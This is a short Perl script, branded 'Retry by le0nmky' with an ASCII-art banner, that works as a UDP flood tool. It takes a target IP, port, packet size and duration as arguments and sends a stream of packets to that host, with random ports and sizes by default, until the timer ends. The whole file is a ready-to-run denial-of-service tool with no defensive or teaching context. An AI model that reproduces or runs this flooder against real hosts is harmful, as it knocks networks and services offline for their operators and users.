#!/usr/bin/perl

use Term::ANSIColor qw(:constants);
    $Term::ANSIColor::AUTORESET = 2;

##
# le0nmky
##

use Socket;
use strict;

my ($ip,$port,$size,$time) = @ARGV;

my ($iaddr,$endtime,$psize,$pport);

$iaddr = inet_aton("$ip") or die "Cannot resolve hostname $ip\n";
$endtime = time() + ($time ? $time : 100);
socket(flood, PF_INET, SOCK_DGRAM, 17);

print BOLD RED<<EOTEXT;


 ██▀███  ▓█████▄▄▄█████▓ ██▀███ ▓██   ██▓
▓██ ▒ ██▒▓█   ▀▓  ██▒ ▓▒▓██ ▒ ██▒▒██  ██▒
▓██ ░▄█ ▒▒███  ▒ ▓██░ ▒░▓██ ░▄█ ▒ ▒██ ██░
▒██▀▀█▄  ▒▓█  ▄░ ▓██▓ ░ ▒██▀▀█▄   ░ ▐██▓░
░██▓ ▒██▒░▒████▒ ▒██▒ ░ ░██▓ ▒██▒ ░ ██▒▓░
░ ▒▓ ░▒▓░░░ ▒░ ░ ▒ ░░   ░ ▒▓ ░▒▓░  ██▒▒▒
  ░▒ ░ ▒░ ░ ░  ░   ░      ░▒ ░ ▒░▓██ ░▒░
  ░░   ░    ░    ░        ░░   ░ ▒ ▒ ░░
   ░        ░  ░           ░     ░ ░
                                 ░ ░
EOTEXT
print BOLD GREEN<<EOTEXT;
             Retry by le0nmky

EOTEXT

print "Sending to $ip " . ($port ? $port : "random") . " port with " .
  ($size ? "$size-byte" : "random size") . " packets" .
  ($time ? " for $time seconds" : "") . "\n";
print "Stop with Ctrl-C\n" unless $time;

for (;time() <= $endtime;) {
  $psize = $size ? $size : int(rand(1024-64)+64) ;
  $pport = $port ? $port : int(rand(65500))+1;

  send(flood, pack("a$psize","flood"), 0, pack_sockaddr_in($pport, $iaddr));}